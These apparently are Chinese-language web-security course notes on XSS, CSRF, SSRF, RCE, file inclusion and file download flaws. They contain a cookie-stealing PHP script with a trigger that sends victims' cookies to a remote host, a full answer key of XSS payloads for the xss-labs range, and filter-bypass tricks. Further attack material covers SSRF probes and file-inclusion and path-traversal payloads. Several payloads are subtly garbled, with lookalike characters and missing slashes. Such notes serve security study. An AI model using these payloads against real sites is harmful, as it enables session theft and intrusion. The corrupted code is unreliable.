产生层面:函数、
漏洞相关:浏览器版本
漏洞分类:反射型、存储型、DOM型
攻击手法:平台、工具、结合其他
反射
发包==》x=csh==》x.php==》回包
存储
发包==》x=csh==》x.php==》数据库存储某个表==》x.php==》回显
DOM(前端语言进行处理,不发数据包)
发包==》x=csh==》本地浏览器前端代码==》x.php
补充1
验证采用的凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型
补充2
利用条件:有漏洞、可以执行代码、需要获取有权下的凭证、没有防护或防护可绕过、漏洞要被触发
https://xss8.cc/login/
https://xsshs.cn/xss.php?do=login
https://github.com/do0dl3/xss-labs
http://down.chinaz.com/soft/37581.htm
#XSS 平台及工具使用
#XSS 经典应用案例测试
#Webshell 后门中的后门
#Session 与 Cookie 获取问题
document.cookie 等
配合读取 phpinfo 等信息源码等
//脚本代码,文件名shell.php
<?php
$cookie=$_GET['c'];
$myfile = fopen("cookie.txt","w");
fwrite($myfile, $cookie) ;
fclose($myfile);
?>
//触发代码
<script>
window.open("http://192.168.0.100:8890/shell.php?c="+document.cookie);
</script>
https://xssaq.com/xss.php?do=login
https://github.com/tennc/webshell
绕过方法
在此之前说下,我们获取cookie的目的是为了获取用户身份,以此来登陆后台,现在httponly防止js读取cookile,我们可以转而寻找后台管理员的账户密码。
xss的攻防:
1.利用<>标记,构造等字符。
2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。
xss 过滤函数需过滤JavaScript等关键字。
3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,
绕过对javascript的关键字的过滤。
4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。
xss 过滤函数需过滤\等字符。
5.利用事件处理函数,触发事件,执行xss代码。例如
,当浏览器响应页面时,
找不到图片的地址,触发onerror事件。
6.利用css执行javascript代码
css代码中利用expression触发xss漏洞。如下所示:
css代码中利用@import触发xss
@import 'javascript:alert("XSS")';
css代码中使用@import和link方式导入外部含有xss代码的样式表文件
@import url(http://www.*.com/a.css);
xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。
7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数
8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。
xss-labs靶场答案
1. <script>alert('1')script>
2. "><script>alert('1')script>
3. 'οnclick='alert(1)
4. "οnclick="alert(1)
5. "> <a href='javascript:alert(1)'>666
6. "> <a hRef='javascript:alert(1)'>666
7. "> <a hRehreff='javascrscriptipt:alert(1)'>
8. javascript:alert(1)XX<->文本编码javascript:alert(1)
9. javascript:alert(1)//http://
10. 666&t_sort="type="text" οnclick="alert(1)"
11. 666&t_sort="type="text" οnclick="alert(1)" 抓包修改:Referer:t_sort="type="text" οnclick="alert(1)"
12. t_sort="type="text" οnclick="alert(1)" 抓包修改:User-Agent: t_sort="type="text" οnclick="alert(1)"
13. type="text" οnclick="alert(1) 抓包修改:Cookie: user="type="text" οnclick="alert(1)
14.
15. ?src='level1.php?name=<img src=x onerror=alert(1)>'
16. ?keyword=
17. http://127.0.0.1:8891/level17.php?arg01=q&arg02=" οnmοuseοver=alert(1)
18. http://127.0.0.1:8891/level18.php?arg01=a&arg02=%22%20οnmοuseοver=alert(1)
19.
20.
涉及资源
https://github.com/do0dl3/xss-labs
https://www.oschina.net/question/100267_65116
28. XSS跨站之WAF绕过及安全修复
28.1 常规wAF绕过思路
- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其他漏洞绕过
28.2 自动化工具说明
- xsstrike主要特点反射和DOM xss 扫描:很棒的工具
- 下载链接:https://github.com/s0md3v/XSStrike 重点
多线程爬虫
Context分析
可配置的核心
检测和规避WAF
老旧的JS库扫描
智能payload生成器
手工制作的HTML & Javascript解析器
强大的fuzzing引擎
盲打xss 支持
高效的工作流
完整的 HTTP 支持
Bruteforce payloads支持
Payload编码
-h, --help //显示帮助信息
-u , --url //指定目标URL
--data / /PoST方式提交内容
-v,--verbose //详细输出
-f, --file //加载自定义paload字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义payload编码方式
--json //将PosT数据视为JSON
--path //测试URL路径组件
--seeds //从文件中测试、抓取URL
--fuzzer //测试过滤器和web应用程序防火墙。
--update //更新
--timeout //设置超迢时时间
--params //指定参数
--Crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过DOM扫描
--headers //提供HTTP标头
-d, --delay //设置延迟
28.3 安全修复方案
- 开启httponly,输入过滤,输出过滤等
- JAVA防护: https://www.cnblogs.com/baixiansheng/p/9001522.html
涉及资源
https://gitee.com/yhtmxl/imxss/
https://github.com/3xp10it/xwaf
https://xssfuzzer.com/fuzzer.html
https://bbs.pediy.com/thread-250852.htm
https://github.com/TheKingOfDuck/fuzzDicts
29. WEB漏洞-CSRF及SSRF漏洞案例讲解
29.1 CSRF 漏洞解释,产生原因
解释:黑客得到用户修改信息数据包的格式,让登陆状态的用户点击自己准备的触发代码(窃取用户状态),触发代码执行攻击。
产生原因:用户的关键数据包被窃取与用户的身份凭据有效 两者同时满足会产生csrf。
29.2 CSRF 漏洞检测,案例,防御等
检测:找到一个网站,自己注册下,然后抓下修改信息的数据包,使用burp suite修改成我们想要的数据(修改账户密码),然后把代码保存放到另一台服务器上,在自己是登陆状态的时候访问自己的服务器上的payload脚本,如果数据被修改则此网站存在csrf。


防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
通常出现在小型网站,略显鸡肋。
29.3 SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造),其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
- 数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
//PHP中下面函数的使用不当会导致SSRF
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
- 利用思路:端口扫描,指纹识别,漏洞利用,内网探针等
- 利用方法:各个协议调用探针(协议:http,file,dict,ftp,gopher 等)
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
涉及资源
https://pan.baidu.com/s/1bp96ECJ
https://www.t00ls.net/articles-41070.html
30. WEB-漏洞RCE代码及命令执行漏洞全解
在Web应用中有时候程序员为了考虑灵活性、简洁性,会用代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
30.1 漏洞形成的条件
- 可控变量
- 漏洞函数
代码执行 RCE 漏洞
原理,攻击,检测,危害,修复等
命令执行 RCE 漏洞
原理,攻击,检测,危害,修复等
RCE 漏洞产生相关性函数
30.2 漏洞判定
- 墨者靶场黑盒功能点命令执行-应用功能:通过功能判断是命令还是代码执行
- 墨者靶场白盒代码及命令执行-代码分析:拿到代码分析功能点
- 墨者靶场黑盒层 RCE 漏洞检测-公开漏洞:获取相关信息,网上查询相关漏洞
- Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面 前端、中间件、后端
- 一句话 Webshell 后门原理代码执行-拓展说明
涉及资源
https://www.cnblogs.com/ermei/p/6689005.html
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
31. WEB漏洞-文件操作之文件包含漏洞全解
31.1 File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

31.2 文件包含
检测
- 用工具扫描
- 看公开漏洞信息
- 看网站参数或功能,是否有加载文件
各个脚本代码 ASP,PHP,JSP,ASPX等
<%@ include file="head.jsp" %>
本地包含-无限制,有限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=../../../www.txt
%00截断:条件: magic_quotes_gpc = off php版本<5.3.4
filename=…/…/…/www.txt%00

长度截断:条件: windows,点号需要长于256; linux长于4096
远程包含-无限制,有限制
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
//php伪协议
# https://www.cnblogs.com/endust/p/11804767.html
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=index.php
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
http://127.0.0.1:8080/include.php?filename=php://linput Post:
' ) ; ?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/www/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,
涉及资源
https://www.cnblogs.com/csnd/p/11807743.html
https://www.ichunqiu.com/battalion?t=1&r=0
http://4.chinalover.sinaapp.com/web7/index.php
https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw提取码: xiao
32. 文件操作之文件下载读取漏洞全解
利用
- 数据库配置文件下载或读取后续
- 接口密匙信息文件下载或读取后续
- 各种协议调用配合
敏感文件名,参数值,目录符号
- read.xxx?filename=
- down.xxx?filename=
- readfile.xxx?file=
- downfile.xxx?file=
- …/ … \ . \ ./等
- %00、?、% 23、 %20 等
- &readpath=、&filepath=、&path=、&inputfile=、&url=、 &data=、&readfile=、&menu=、META-INF= 、WEB-INF
识别文件漏洞
- 文件被解析,则是文件包含漏洞
- 显示源代码,则是文件读取漏洞
- 提示文件下载,则是文件下载漏洞
下载或文件读取漏洞
对应文件:配置文件(数据库,平台,各种等)
javaWeb实现文件下载
//https://blog.csdn.net/Cheng_May/article/details/78600833
//download.jsp
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>文件下载</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
<!--
<link rel="stylesheet" type="text/css" href="styles.css">
-->
</head>
<body>
<a href="/download/DownloadServlet?filename=1.jpg">文件下载</a>
</body>
</html>
//DownloadServlet
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setCharacterEncoding("UTF-8");
//设置ContentType字段值
response.setContentType("text/html;charset=utf-8");
//获取所要下载的文件名称
String filename = request.getParameter("filename");
//下载文件所在目录
String folder = "/filename/";
//通知浏览器以下载的方式打开
response.addHeader("Content-type", "appllication/octet-stream");
response.addHeader("Content-Disposition", "attachment;filename="+filename);
//通知文件流读取文件
InputStream in = getServletContext().getResourceAsStream(folder+filename);
//获取response对象的输出流
OutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
int len;
//循环取出流中的数据
while((len = in.read(buffer)) != -1){
out.write(buffer,0,len);
}
}
涉及案例
Pikachu-文件下载测试-参数
Zdns-文件下载真实测试-功能点
小米路由器-文件读取真实测试-漏洞
RoarCTF2019文件读取真题复现-比赛
百度杯2017二月-Zone真题复现-比赛拓展
- 爬虫扫描地址-分析参数名参数值-文件操作安全-对应脚本
- 修改提交方式测试-读取WEB配置文件WEB-INF/web.xml
- 访问读取对应地址-访问读取flag对应class文件
- (WEB-INF/classes/com/wm/ctf/FlagController.class)
涉及资源
https://buuoj.cn/match/matches
https://www.seebug.org/vuldb/ssvid-98122 小米路由器远程任意文件读取漏洞(CVE-2019-18371)
https:/www.ichunqiu.com/battalion?t=1&r=57475 CTF竞赛
https://blog.csdn.net/Cheng_May/article/details/78600833 javaWeb实现文件下载
https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java CTF竞赛